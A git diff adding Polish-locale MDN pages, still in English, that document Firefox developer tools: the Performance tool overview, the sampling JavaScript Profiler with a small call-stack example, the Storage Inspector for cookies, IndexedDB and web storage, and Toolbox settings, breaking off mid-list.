+ <dt><a href="/en-US/docs/Tools/Performance/UI_Tour">UI Tour</a></dt>
+ <dd>
+ <p>To find your way around the Performance tool, here's a quick tour of the UI.</p>
+ </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/How_to">How to</a></dt>
+ <dd>Basic tasks: open the tool, create, save, load, and configure recordings</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Components_of_the_Performance_tool">Components of the Performance tool</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Frame_rate">Frame rate</a></dt>
+ <dd>Understand your site's overall responsiveness.</dd>
+ <dt><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a></dt>
+ <dd>Find bottlenecks in your site's JavaScript.</dd>
+ <dt><a href="/en-US/docs/Tools/Performance/Allocations">Allocations</a></dt>
+ <dd>See the allocations made by your code over the course of the recording.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a></dt>
+ <dd>Understand the work the browser's doing as the user interacts with your site.</dd>
+ <dt><a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a></dt>
+ <dd>See which JavaScript functions are executing, and when, over the course of the recording.</dd>
+ <dd> </dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Scenarios">Scenarios</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties">Animating CSS properties</a></dt>
+ <dd>Uses the Waterfall to understand how the browser updates a page, and how animating different CSS properties can affect performance.</dd>
+ <dd> </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Scenarios/Intensive_JavaScript">Intensive JavaScript</a></dt>
+ <dd>Uses the frame rate and Waterfall tools to highlight performance problems caused by long-running JavaScript, and how using workers can help in this situation.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
+
+<div class="column-half">
+<dl>
+ <dd> </dd>
+</dl>
+</div>
+
+<p> </p>
diff --git a/files/pl/narzędzia/profiler/index.html b/files/pl/narzędzia/profiler/index.html
new file mode 100644
index 0000000000..be68c3b552
--- /dev/null
+++ b/files/pl/narzędzia/profiler/index.html
@@ -0,0 +1,95 @@
+---
+title: JavaScript Profiler
+slug: Narzędzia/Profiler
+translation_of: Tools/Performance
+---
+<p>Use the Profiler tool to find bottlenecks in your JavaScript code. The Profiler periodically samples the current JavaScript call stack and compiles statistics about the samples.</p>
+<p>You can launch the Profiler by selecting "Profiler" from the "Web Developer" menu. You'll find the "Web Developer" menu under the "Tools" menu on Linux and OS X, and directly under the "Firefox" menu on Windows.</p>
+<p>The <a href="/en-US/docs/Tools/DevTools_Window" title="/en-US/docs/Tools/DevTools_Window">Toolbox</a> will open, with the Profiler selected.</p>
+<h2 id="Sampling_Profilers"><a name="sampling-profilers">Sampling Profilers</a></h2>
+<p>The JavaScript profiler is a sampling profiler. This means that it periodically samples the state of the JavaScript engine, and records the stack for the code executing at the time the sample was taken. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code.<br>
+ <br>
+ <a name="profiling-example">For example, consider a program like this:</a></p>
+<pre class="brush: js">function doSomething() {
+ var x = getTheValue();
+ x = x + 1; // -&gt; sample A
+ logTheValue(x);
+}
+
+function getTheValue() {
+ return 5;
+}
+
+function logTheValue(x) {
+ console.log(x); // -&gt; sample B, sample C
+}
+
+doSomething();</pre>
+<p>Suppose we run this program with the profiler active, and in the time it takes to run, the profiler takes three samples, as indicated in the inline comments above.</p>
+<p>They're all taken from inside <code>doSomething()</code>, but the second two are inside the <code>logTheValue()</code> function called by <code>doSomething()</code>. So the profile would consist of three stack traces, like this:</p>
+<pre>Sample A: doSomething()
+Sample B: doSomething() &gt; logTheValue()
+Sample C: doSomething() &gt; logTheValue()</pre>
+<p>This obviously isn't enough data to tell us anything, but with a lot more samples we might be able to conclude that <code>logTheValue()</code> is the bottleneck in our code.</p>
+<h2 id="Creating_a_profile">Creating a profile</h2>
+<p>Click the <em>stopwatch</em> button in the Profiler to start recording samples. When Profiler is recording, the stopwatch button will be highlighted. Click on it again to stop recording and save the new profile:</p>
+<p style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/5977/Screen%20Shot%202013-08-26%20at%2010.35.47%20AM.png"></p>
+<p>Once you've clicked "Stop", the new profile will open automatically:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5981/Screen%20Shot%202013-08-26%20at%2011.07.18%20AM.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<p>This pane's divided into two parts:</p>
+<ul>
+ <li>The left-hand side lists all the profiles you've captured and allows you to load each one. Just above this there are two buttons: the <em>stopwatch</em> button allows you to record a new profile while the <em>Import...</em> button allows you to import previously saved data. When profile is selected, you can save its data as a JSON file by clicking the <em>Save</em> button.</li>
+ <li>The right-hand side displays the currently loaded profile.</li>
+</ul>
+<h2 id="Analyzing_a_profile">Analyzing a profile</h2>
+<p>The profile is split into two parts:</p>
+<ul>
+ <li>the <a href="#profile-timeline" title="#profile-timeline">profile timeline</a></li>
+ <li>the <a href="#profile-details" title="#profile-details">profile details</a></li>
+</ul>
+<h3 id="Profile_timeline"><a name="profile-timeline">Profile timeline</a></h3>
+<p>The profile timeline occupies the top part of the profile display:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5987/timeline" style="display: block; margin-left: auto; margin-right: auto;">The horizontal axis is time, and the vertical axis is call stack size at that sample. Call stack represents the amount of active functions at the time when the sample was taken.</p>
+<p>Red samples along the chart indicate the browser was unresponsive during that time, and a user would notice pauses in animations and responsiveness. If a profile has red samples, consider breaking this code up into several events, and look into using <a href="/en-US/docs/Web/API/window.requestAnimationFrame" title="/en-US/docs/Web/API/window.requestAnimationFrame">requestAnimationFrame</a> and <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers" title="/en-US/docs/Web/Guide/Performance/Using_web_workers">Workers</a>.</p>
+<p>You can examine a specific range within the profile by clicking and dragging inside the timeline:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5989/Screen%20Shot%202013-08-26%20at%2011.17.59%20AM.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<p>A new button then appears above the timeline labeled "Sample Range [AAA, BBB]". Clicking that button zooms the profile, and the details view underneath it, to that timeslice:</p>
+<p><br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5991/Screen%20Shot%202013-08-26%20at%2011.18.03%20AM.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<h3 id="Profile_details"><a name="profile-details">Profile details</a></h3>
+<p>The profile details occupy the bottom part of the profile display:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5993/profiler-details-highligted.png" style="display: block; margin-left: auto; margin-right: auto;">When you first open a new sample, the sample pane contains a single row labeled "(total)", as in the screenshot above. If you click the arrow next to "(total)", you'll see a list of all the top-level functions which appear in a sample.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5995/Screen%20Shot%202013-08-26%20at%2011.22.10%20AM.png"></p>
+<p><strong>Running time</strong> shows the total number of samples in which this function appeared<a href="#footnote-1"><sup>1</sup></a>, followed by the percentage of all samples in the profile in which this function appeared. The first row above shows that there were 2021 samples in the entire profile, and the second row shows that 1914, or 94.7%, of them were inside the <code>detectImage()</code> function.</p>
+<p><strong>Self</strong> shows the number of samples in which the sample was taken while executing this function itself, and not a function it was calling. In the <a href="#profiling-example" title="#profiling-example">simple example</a> above, <code>doSomething()</code> would have a <strong>Running time</strong> of 3 (samples A, B, and C), but a <strong>Self</strong> value of 1 (sample A).</p>
+<p>The third column gives the name of the function along with the filename and line number (for local functions) or basename and domain name (for remote functions). Functions in gray are built-in browser functions: functions in black represent JavaScript loaded by the page. If you hover the mouse over a row you'll see an arrow to the right of the function's identifier: click the arrow and you'll be taken to the function source.</p>
+<h3 id="Expanding_the_call_tree">Expanding the call tree</h3>
+<p>In a given row, if there are any samples taken while we were in a function called by this function (that is, if <strong>Running Time</strong> is greater than <strong>Self</strong> for a given row) then an arrow appears to the left of the function's name, enabling you to expand the call tree.</p>
+<p>In the <a href="#profiling-example" title="#profiling-example">simple example</a> above, the fully-expanded call tree would look like this:</p>
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td style="text-align: center;"><strong>Running Time</strong></td>
+ <td style="text-align: center;"><strong>Self</strong></td>
+ <td style="text-align: center;"> </td>
+ </tr>
+ <tr>
+ <td style="text-align: center;">3            100%</td>
+ <td style="text-align: center;">1</td>
+ <td style="text-align: center;">doSomething()</td>
+ </tr>
+ <tr>
+ <td style="text-align: center;">2              67%</td>
+ <td style="text-align: center;">2</td>
+ <td style="text-align: center;">logTheValue()</td>
+ </tr>
+ </tbody>
+</table>
+<p>To take a more realistic example: in the screenshot below, looking at the second row we can see that 1914 samples were taken inside the <code>detectImage()</code> function. But all of them were taken in functions called by <code>detectImage()</code> (the <strong>Self</strong> cell is zero). We can expand the call tree to find out which functions were actually running when most of the samples were taken:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5999/bla.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<p>This tells us that 6 samples were taken when we were actually executing <code>detectAtScale(), </code>12 when we were executing <code>getRect()</code> and so on.</p>
+<h2 id="Footnotes">Footnotes</h2>
+<ol>
+ <li><a name="footnote-1">If the function is called multiple times from different sources, it will be represented multiple times in the Profiler output. So generic functions like <code>forEach</code> will appear multiple times in the call tree.</a></li>
+</ol>
+<p> </p>
diff --git a/files/pl/narzędzia/storage_inspector/index.html b/files/pl/narzędzia/storage_inspector/index.html
new file mode 100644
index 0000000000..1638fcd918
--- /dev/null
+++ b/files/pl/narzędzia/storage_inspector/index.html
@@ -0,0 +1,206 @@
+---
+title: Storage Inspector
+slug: Narzędzia/Storage_Inspector
+translation_of: Tools/Storage_Inspector
+---
+<div>{{ToolsSidebar}}</div>
+
+<p>The Storage Inspector enables you to inspect various types of storage that a web page can use. Currently it can be used to inspect the following storage types:</p>
+
+<ul>
+ <li><em>Cache Storage</em> — any DOM caches created using the <a href="/en-US/docs/Web/API/Cache">Cache API</a>.</li>
+ <li><em>Cookies</em> — All the <a href="/en-US/docs/Web/API/Document/cookie">cookies</a> created by the page or any iframes inside of the page. Cookies created as a part of response of network calls are also listed, but only for calls that happened while the tool is open.</li>
+ <li><em>IndexedDB</em> — All <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> databases created by the page or any iframes inside the page, their Object Stores and the items stored in these Object Stores.</li>
+ <li><em>Local Storage</em> — All <a href="/en-US/docs/Web/API/Window/localStorage">local storage</a> items created by the page or any iframes inside the page.</li>
+ <li><em>Session Storage</em> — All <a href="/en-US/docs/Web/API/Window/sessionStorage">session storage</a> items created by the page or any iframes inside the page.</li>
+</ul>
+
+<p>For the time being, the Storage Inspector only gives you a read-only view of storage. But we're working to let you edit storage contents in future releases.</p>
+
+<h2 id="Opening_the_Storage_Inspector">Opening the Storage Inspector</h2>
+
+<p>You can open the Storage Inspector by selecting "Storage Inspector" from the Web Developer submenu in the Firefox Menu Panel (or Tools menu if you display the menu bar or are on macOS), or by pressing its <kbd>Shift</kbd> + <kbd>F9</kbd> keyboard shortcut.</p>
+
+<p>The <a href="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window" title="/en-US/docs/Tools/DevTools_Window">Toolbox</a> will appear at the bottom of the browser window, with the Storage Inspector activated. It's just called "Storage" in the Developer Toolbox.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16764/storage_inspector.png" style="display: block; margin: 0px auto; width: 600px;"></p>
+
+<h2 id="Storage_Inspector_User_Interface">Storage Inspector User Interface</h2>
+
+<p>The Storage Inspector UI is split into three main components:</p>
+
+<ul>
+ <li><a href="#storage-tree">Storage tree</a></li>
+ <li><a href="#table-widget">Table Widget</a></li>
+ <li><a href="#sidebar">Sidebar</a></li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16765/storage_labeled.png" style="display: block; margin: 0 auto; width: 600px;"></p>
+
+<h3 id="Storage_tree"><a name="storage-tree">Storage tree</a></h3>
+
+<p>The storage tree lists all the storage types that the Storage Inspector can inspect:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16766/storage_types.png" style="display: block; height: 129px; margin: 0 auto; width: 400px;"></p>
+
+<p>Under each type, objects are organized by origin. For cookies, the protocol does not differentiate the origin. For Indexed DB or local storage an origin is a combination of protocol + hostname. For example, "http://mozilla.org" and "https://mozilla.org" are two different origins so local storage items cannot be shared between them.</p>
+
+<p>Under "Cache Storage", objects are organized by origin and then by the name of the cache:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16802/cache_storage.png" style="border: 1px solid black; display: block; height: 215px; margin-left: auto; margin-right: auto; width: 274px;"></p>
+
+<p>IndexedDB objects are organized by origin, then by database name, then by object store name:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16804/indexedDb_storage.png" style="border: 1px solid black; display: block; height: 193px; margin-left: auto; margin-right: auto; width: 274px;"></p>
+
+<p>With the Cookies, Local Storage, and Session Storage types, there's only one level in the hierarchy, so stored items are listed directly under each origin:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16803/cookie_storage.png" style="border: 1px solid black; display: block; height: 217px; margin-left: auto; margin-right: auto; width: 274px;"></p>
+
+<p>You can click on each item in the tree to expand or collapse its children. The tree is live, so if a new origin gets added (by adding an iframe, for example), it will be added to each storage type automatically.</p>
+
+<p>Clicking on a tree item will display detailed information about that item in the Table Widget on the right. For example, clicking on an origin which is a child of the Cookies storage type will show all the cookies belonging to that domain.</p>
+
+<h3 id="Table_Widget"><a name="table-widget">Table Widget</a></h3>
+
+<p>The table widget displays a list of all the items corresponding to the selected tree item (be it an origin, or database) are listed. Depending on the storage type and tree item, the number of columns in the table might differ.</p>
+
+<p>All the columns in a Table Widget are resizable. You can hide and show columns by context-clicking on the table header and selecting the columns you want to see:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16767/cookie_context_menu.png" style="border: 1px solid black; display: block; height: 330px; margin-left: auto; margin-right: auto; width: 914px;"></p>
+
+<h3 id="Search">Search</h3>
+
+<p>There's a search box at the top of the Table Widget:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16808/storage_detail_filter.png" style="border: 1px solid black; display: block; height: 249px; margin-left: auto; margin-right: auto; width: 926px;"></p>
+
+<p>This filters the table to show only items which match the search term. Items match the search term if any of their fields (including fields whose columns you have hidden) contain the search term.</p>
+
+<p>You can use <kbd>Ctrl</kbd> + <kbd>F</kbd> (<kbd>Cmd</kbd> + <kbd>F</kbd> on a Mac) to focus the search box.</p>
+
+<h3 id="Add_and_refresh_storage">Add and refresh storage</h3>
+
+<p>You'll also have buttons available to add a new storage entry or refresh the view of the currently viewed storage type where applicable (you can't add new entries to IndexedDB or Cache):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16809/storage_detail_add_refresh.png" style="border: 1px solid black; display: block; height: 249px; margin: 0px auto; width: 926px;"></p>
+
+<h3 id="Sidebar"><a name="sidebar">Sidebar</a></h3>
+
+<p>When you select any row in the Storage table widget, the sidebar is shown with details about that row. If a cookie is selected, it will list all the details about that cookie.</p>
+
+<p>The sidebar can parse the value of the cookie or local storage item or an IndexedDB item and convert it into a meaningful object instead of just a string. For example:</p>
+
+<ul>
+ <li>A stringified JSON like <code>'{"foo": "bar"}'</code> is shown as the origin JSON: <code>{foo: "bar"}</code>.</li>
+ <li>A string containing a key separated value, like <code>"1~2~3~4"</code> or <code>"1=2=3=4"</code> is shown like an array: <code>[1, 2, 3, 4]</code>.</li>
+ <li>A string containing key-value pairs, like <code>"ID=1234:foo=bar"</code> is shown as JSON: <code>{ID:1234, foo: "bar"}</code>.</li>
+</ul>
+
+<p>The shown values can also be filtered using the search box at the top of the sidebar.</p>
+
+<h2 id="Cache_Storage">Cache Storage</h2>
+
+<p>Under the Cache Storage type you can see the contents of any DOM caches created using the <a href="/en-US/docs/Web/API/Cache">Cache API</a>. If you select a cache, you'll see a list of the resources it contains. For each resource, you'll see:</p>
+
+<ul>
+ <li>the URL for the resource</li>
+ <li>the status code for the request that was made to fetch it.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16810/cache_storage_detail.png" style="border: 1px solid black; display: block; height: 251px; margin-left: auto; margin-right: auto; width: 926px;"></p>
+
+<h2 id="Cookies">Cookies</h2>
+
+<p>When you select an origin inside the Cookies storage type from the storage tree, all the cookies present for that origin will be listed in the table widget. The cookies table has the following columns:</p>
+
+<ul>
+ <li><em>Name</em> — The name of the cookie</li>
+ <li><em>Path</em> — The path property of the cookie</li>
+ <li><em>Domain</em> — The domain of the cookie</li>
+ <li><em>Expires on</em> — The time when the cookie will expire. If the cookie is a session cookie, the value of this column will be "Session"</li>
+ <li><em>Last accessed on</em> — When the cookie was last read</li>
+ <li>Created on — When the cookie was created</li>
+ <li><em>Value</em> — The value of the cookie</li>
+ <li><em>HostOnly</em> — Is this cookie a domain cookie: that is, the domain value starts with a "."</li>
+ <li><em>Secure</em> — Is this cookie a secure cookie</li>
+ <li><em>HttpOnly</em> — Is this cookie HTTP only</li>
+ <li><em>sameSite</em> — Is this cookie a same-site cookie? Same-site cookies allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Some of the columns are not shown by default — to change the column display, right-click on the existing table headings and use the resulting context menu to show/hide the columns.</p>
+</div>
+
+<p>You can edit cookies by double-clicking inside cells in the <a href="/en-US/docs/Tools/Storage_Inspector#Table_Widget">Table Widget</a> and editing the values they contain, and add new cookies by clicking the "Plus" (+) button and then editing the resulting new row to the value you want.</p>
+
+<h3 id="Context_menu">Context menu</h3>
+
+<p>The context menu for each cookie includes the following commands:</p>
+
+<ul>
+ <li><em>Add item</em> - add a new cookie.</li>
+ <li><em>Delete &lt;cookie name&gt;.&lt;domain&gt;</em> - deletes the selected cookie</li>
+ <li><em>Delete All From &lt;domain&gt;</em> - deletes all cookies from the selected domain. This must be an exact match. For example, if you select "Delete All From test8.example.com" only cookies from that domain will be deleted. Cookies from "test13.example.com" will not be deleted.</li>
+ <li><em>Delete All</em> - deletes all cookies for the current host.</li>
+ <li><em>Delete All Session Cookies</em> - deletes all cookies for the current host that are scheduled to be deleted when the browser shuts down</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16811/cookie_table_widget_context.png" style="border: 1px solid black; display: block; height: 250px; margin-left: auto; margin-right: auto; width: 924px;"></p>
+
+<h2 id="Local_storage_Session_storage">Local storage / Session storage</h2>
+
+<p>When an origin corresponding to local storage or session storage is selected, the table will list the name and value of all the items corresponding to local storage or session storage.</p>
+
+<p>You can edit local and session storage items by double-clicking inside cells in the <a href="/en-US/docs/Tools/Storage_Inspector#Table_Widget">Table Widget</a> and editing the values they contain:</p>
+
+<p>{{EmbedYouTube("UKLgBBUi11c")}}</p>
+
+<p>You can delete local storage and session storage entries using the context menu:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16768/delete_storage_menu.png" style="border: 1px solid black; display: block; height: 270px; margin-left: auto; margin-right: auto; width: 914px;"></p>
+
+<p>In Firefox 68 and later, you can also delete local and session storage entries by selecting the item and pressing the backspace key.</p>
+
+<p>Finally, you can add new storage items by clicking the "Plus" (+) button and then editing the resulting new row to the value you want.</p>
+
+<h2 id="IndexedDB">IndexedDB</h2>
+
+<p>When you select an origin inside the Indexed DB storage type in the storage tree, the table lists the details of all the databases present for that origin.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The data shown in an IndexedDB database is a snapshot of the data as it was when you opened the Storage Inspector tool.</p>
+</div>
+
+<p>Databases have the following details:</p>
+
+<ul>
+ <li><em>Database Name</em> — The name of the database</li>
+ <li><em>Storage</em> — The <a href="/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria#Different_types_of_data_storage">storage type</a> specified for the database</li>
+ <li><em>Origin</em> — Its origin</li>
+ <li><em>Version</em> — The database version</li>
+ <li><em>Object Stores</em> — Number of object stores in the database</li>
+</ul>
+
+<p>When an IndexedDB database is selected in the storage tree, details about all the object stores are listed in the table. Any object store has the following details:</p>
+
+<ul>
+ <li><em>Object Store Name</em> — The name of the object store</li>
+ <li><em>Key</em> — The keyPath property of the object store.</li>
+ <li><em>Auto Increment</em> — Whether auto increment is enabled</li>
+ <li><em>Indexes</em> — Array of indexes present in the object store as shown below</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16812/indexed_db_details.png" style="border: 1px solid black; display: block; height: 250px; margin-left: auto; margin-right: auto; width: 926px;"></p>
+
+<p>When an object store is selected in the storage tree, all the items in that object store are listed in the table. All items have a key and a value associated with them.</p>
+
+<p>You can delete an IndexedDB database using the context menu in the Storage tree view:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16813/indexed_db_context_menu.png" style="border: 1px solid black; display: block; height: 249px; margin-left: auto; margin-right: auto; width: 924px;"></p>
+
+<p>If the database cannot be deleted (most commonly because there are still active connections to the database), a warning message will be displayed in the Storage Inspector:<img alt="" src="https://mdn.mozillademos.org/files/16815/indexedDB_delete_warning.png" style="border: 1px solid black; display: block; height: 250px; margin: 0px auto; width: 926px;"></p>
+
+<p>You can use the context menu in the table widget to delete all items in an object store, or a particular item:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16814/indexed_db_table_widget_context.png" style="border: 1px solid black; display: block; height: 249px; margin-left: auto; margin-right: auto; width: 924px;"></p>
diff --git a/files/pl/narzędzia/tools_toolbox/index.html b/files/pl/narzędzia/tools_toolbox/index.html
new file mode 100644
index 0000000000..02001ef0a8
--- /dev/null
+++ b/files/pl/narzędzia/tools_toolbox/index.html
@@ -0,0 +1,113 @@
+---
+title: Toolbox
+slug: Narzędzia/Tools_Toolbox
+translation_of: Tools/Tools_Toolbox
+---
+<p>The Toolbox provides a single home for most of the developer tools that are built into Firefox. You can open it by selecting "Toggle Tools" from the Web Developer menu (under "Tools" on OS X and Linux, or "Firefox" on Windows), or by activating any tool hosted in it (for example, the JavaScript Debugger or the Page Inspector). Alternatively you can press Ctrl + Shift + I on Windows and Linux, or Cmd + Opt + I on OS X.</p>
+<p>By default, the window appears docked to the bottom side of the Firefox window, but you can detach it if you like. This is what it looks like when it's docked:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6923/toolbox.png" style="display: block; margin-left: auto; margin-right: auto;">The window itself is split into two parts: a toolbar along the top, and a main pane underneath:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6925/toolbox-annotated-29.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<h2 id="Toolbar">Toolbar</h2>
+<p>The toolbar contains controls to activate a particular tool, to dock/float the window, and to close the window.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/7913/toolbox-toolbar-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<h3 id="Node_picker">Node picker</h3>
+<p>On the far left there's a button to activate the node picker. This lets you select a page element for inspection. See <a href="/en-US/docs/Tools/Page_Inspector#Selecting_elements">"Selecting elements"</a>.</p>
+<h3 id="Toolbox-hosted_tools">Toolbox-hosted tools</h3>
+<p>Then there is an array of labeled buttons which enables you to switch between the different tools hosted by the Toolbox. The array may include the following tools:</p>
+<ul>
+ <li><a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">JavaScript Debugger</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector" title="/en-US/docs/Tools/Page_Inspector">Page Inspector</a></li>
+ <li><a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Style Editor</a></li>
+ <li><a href="/en-US/docs/Tools/Profiler" title="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Profiler</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor" title="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Network Monitor</a></li>
+</ul>
+<p>Note that not all the hosted tools are always listed here: only the tools actually available in this context are shown (for example, not all tools support remote debugging yet, so if the debugging target is not the Firefox instance that launched the window, not all the hosted tools will be shown).</p>
+<h3 id="Extra_tools">Extra tools</h3>
+<p>Next there's an array of buttons that can be added or removed in the <a href="#Settings">developer tool settings</a>. By default this array includes:</p>
+<ul>
+ <li><a href="/en-US/docs/Tools/Web_Console#The_split_console">Toggle split console</a></li>
+ <li><a href="/en-US/docs/Tools/Responsive_Design_View">Responsive Design Mode</a></li>
+</ul>
+<p>The following tools are not included in the toolbar by default, but you can add them in the <a href="#Settings">settings</a>:</p>
+<ul>
+ <li><a href="/en-US/docs/Tools/Paint_Flashing_Tool">Highlight painted area</a></li>
+ <li><a href="/en-US/docs/Tools/3D_View">3D view</a></li>
+ <li><a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a></li>
+ <li><a href="/en-US/docs/Tools/Eyedropper">Grab a color from the page</a></li>
+ <li>Take a full-page screenshot: this is new in Firefox 32. It takes a screenshot of the complete web page and saves it in your Downloads directory</li>
+ <li><a href="/en-US/docs/tools/Working_with_iframes">Select a frame as the currently targeted document</a>: this is new in Firefox 34.</li>
+</ul>
+<h3 id="Toolbox_controls">Toolbox controls</h3>
+<p>Finally there's a row of buttons to:</p>
+<ul>
+ <li>close the window</li>
+ <li>toggle the window between attached to the bottom of the browser window, and attached to the side of the browser window</li>
+ <li>toggle the window between standalone and attached to the browser window</li>
+ <li>access <a href="#Settings" title="#Settings">developer tool settings</a></li>
+</ul>
+<h2 id="Settings_2"><a name="Settings">Settings</a></h2>
+<p>Clicking the "Settings" button (<img alt="" src="https://mdn.mozillademos.org/files/8623/settings-cog-small.png" style="width: 30px; height: 22px; display: inline-block;">) gives you access to settings for the Toolbox itself and for the tools it hosts:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/8619/devtools-settings.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<h3 id="Default_Firefox_Developer_Tools">Default Firefox Developer Tools</h3>
+<p>This group of checkboxes determines which tools are enabled in the toolbox. New tools are often included in Firefox but not enabled by default.</p>
+<h3 id="Available_Toolbox_Buttons">Available Toolbox Buttons</h3>
+<p>This group of checkboxes determines which "standalone tools" get buttons in the <a href="/en-US/docs/Tools_Toolbox#Toolbar">toolbar</a>. This defaults to the node picker, the split console, and responsive design mode.</p>
+<p>Firefox 32 adds a button to take a screenshot of the complete web page, which is unchecked by default.</p>
+<h3 id="Choose_DevTools_theme">Choose DevTools theme</h3>
+<p>This enables you to switch between a light and a dark theme:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/6933/light-theme.png" style="display: block; margin-left: auto; margin-right: auto;"><img alt="" src="https://mdn.mozillademos.org/files/6931/dark-theme.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+<h3 id="Common_preferences">Common preferences</h3>
+<p>Settings that apply to more than one tool. There's just one of these:</p>
+<ul>
+ <li><em>Enable persistent logs</em>: a setting to control whether or not the Web Console and Network Monitor clear their output when you navigate to a new page.</li>
+</ul>
+<h3 id="Inspector">Inspector</h3>
+<ul>
+ <li><em>Show browser styles</em>: a setting to control whether styles applied by the browser (<a href="/en-US/docs/Web/CSS/Cascade">user-agent styles</a>) should be displayed in the Inspector's <a href="/en-US/docs/Tools/Page_Inspector#Rules_view">Rules view</a>. This setting is new in Firefox 32. Note that this setting is independent of the "Browser styles" checkbox in the Inspector's <a href="/en-US/docs/Tools/Page_Inspector#Computed_view">Computed view</a>.</li>
+ <li><em>Default color unit</em>: a setting to control how colors are represented in the inspector:
+ <ul>
+ <li>Hex</li>
+ <li>HSL(A)</li>
+ <li>RGB(A)</li>
+ <li>name.</li>
+ </ul>
+ </li>
+</ul>
+<h3 id="Web_Console">Web Console</h3>
+<ul>
+ <li><em>Enable timestamps</em>: controls whether the Web Console displays timestamps. From Firefox 28 the Web Console defaults to hiding timestamps.</li>
+</ul>
+<h3 id="Style_Editor">Style Editor</h3>
+<ul>
+ <li><em>Show original sources</em>: when a CSS preprocessor supporting source maps is used, this enables the Style Editor to display the original, preprocessor, sources rather than the generated CSS. <a href="/en-US/docs/Tools/Style_Editor#Source_map_support">Learn more about Style Editor support for CSS source maps</a>. With this setting checked, the <a href="/en-US/docs/Tools/Page_Inspector#Link_to_CSS_file">Page Inspector Rules view will also provide links to the original sources</a>.</li>
+ <li><em>Autocomplete CSS</em>: enable the Style Editor to offer <a href="/en-US/docs/Tools/Style_Editor#Autocomplete">autocomplete suggestions</a>.</li>
+</ul>
+<h3 id="JavaScript_Profiler">JavaScript Profiler</h3>
+<ul>
+ <li><em>Show Gecko platform data</em>: a setting to control whether or not profiles should include Gecko platform symbols.</li>
+</ul>
+<h3 id="Editor_Preferences">Editor Preferences</h3>
+<p>Preferences for the <a href="http://codemirror.net/">CodeMirror</a> source editor, which is included in Firefox and used by several developer tools, including <a href="/en-US/docs/Tools/Scratchpad">Scratchpad</a> and the <a href="/en-US/docs/Tools/Style_Editor">Style Editor</a>.</p>
+<ul>
+ <li><em>Detect indentation</em>: auto-indent new lines based on the current indentation</li>
+ <li><em>Autoclose brackets</em></li>
+ <li><em>Indent using spaces</em></li>
+ <li><em>Tab size</em></li>
+ <li><em>Keybindings</em>: choose the default CodeMirror keybindings, or keybindings from one of several popular editors:
+ <ul>
+ <li>Vim</li>
+ <li>Emacs</li>
